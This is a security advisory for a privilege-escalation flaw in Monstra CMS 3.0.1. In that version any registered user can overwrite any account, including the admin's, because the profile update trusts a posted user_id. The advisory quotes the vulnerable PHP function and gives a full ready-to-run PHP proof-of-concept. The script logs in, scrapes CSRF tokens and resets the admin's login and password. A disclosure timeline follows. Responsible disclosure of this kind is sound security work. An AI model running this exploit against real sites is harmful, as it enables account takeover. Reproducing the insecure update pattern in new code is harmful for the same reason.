As you can see in timeline I discover this issue in 2014.
Last time when I contact with developers, they told me that "they will recheck this issue".
But in the meantime sarimkiani find it too and publish details on GitHub.
Every registered user can change every account because Request::post('user_id') is used instead of $id inside update statement.
File: plugins\box\users\users.plugin.php
public static function getProfileEdit($id)
{
// Is Current User Loged in ?
if (Users::isLoged()) {
$user = Users::$users->select("[id='".(int) $id."']", null);
// Edit Profile Submit
if (Request::post('edit_profile')) {
// Check csrf
if (Security::check(Request::post('csrf'))) {
if (Security::safeName(Request::post('login')) != '') {
if (Users::$users->update(Request::post('user_id'),
array('login' => Security::safeName(Request::post('login')),
'firstname' => Request::post('firstname'),
'lastname' => Request::post('lastname'),
'email' => Request::post('email'),
'skype' => Request::post('skype'),
'about_me' => Request::post('about_me'),
'twitter' => Request::post('twitter')))) {
// Change password
if (trim(Request::post('new_password')) != '') {
Users::$users->update(Request::post('user_id'), array('password' => Security::encryptPassword(trim(Request::post('new_password')))));
}
Notification::set('success', __('Your changes have been saved.', 'users'));
Request::redirect(Site::url().'/users/'.$user['id']);
}
} else { }
} else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
}
View::factory('box/users/views/frontend/edit')
->assign('user', $user)
->display();
} else {
Request::redirect(Site::url().'/users/login');
}
}
So if we know current admin id we can takeover this account.
Proof of Concept
<?php
/**
* Monstra 3.0.1 Privilege Escalation
* Kacper Szurek
* http://security.szurek.pl
*/
function hack($login, $pass, $url, $current_admin_id, $new_admin_login, $new_admin_password, $cookie ){
$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'users/login');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec($ch);
preg_match('/name="csrf" value="([^"]+)"/i', $content, $matches);
if (strlen($matches[1]) > 3) {
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$login."&password=".$pass."&csrf=".$matches[1].'&login_submit=Log In');
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
preg_match('|"([^"]+)">Edit profile<|i', $content, $matches2);
if (strlen($matches2[1]) > 3) {
curl_setopt($ch, CURLOPT_URL, $matches2[1]);
$content = curl_exec($ch);
preg_match('/name="csrf" value="([^"]+)"/i', $content, $matches3);
if (strlen($matches3[1]) > 3) {
$fields = array(
'csrf' => $matches3[1],
'edit_profile' => '1',
'login' => $new_admin_login,
'new_password' => $new_admin_password,
'user_id' => $current_admin_id
);
$fields_string = http_build_query($fields);
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
echo $content;
} else {
die("Cannot get CSRF");
}
} else {
die("Cannot get edit url");
}
} else {
die("Cannot get CSRF");
}
curl_close( $ch );
}
$url = "http://monstra-url/";
// Standard user credentials (created using users/registration)
$user = "normaluser";
$pass = "normalpassword";
$current_admin_id = '1';
$new_admin_login = "newadminlogin";
$new_admin_password = "newadminpassword";
$cookie = "/cookie.txt";
hack($user, $pass, $url, $current_admin_id, $new_admin_login, $new_admin_password, $cookie);
Timeline
- 01-12-2014: Discovered
- 01-12-2014: Vendor notified
- 26-02-2015: Second notification
- 29-01-2016: Third notification
- 05-04-2016: Version 3.0.4 released, issue resolved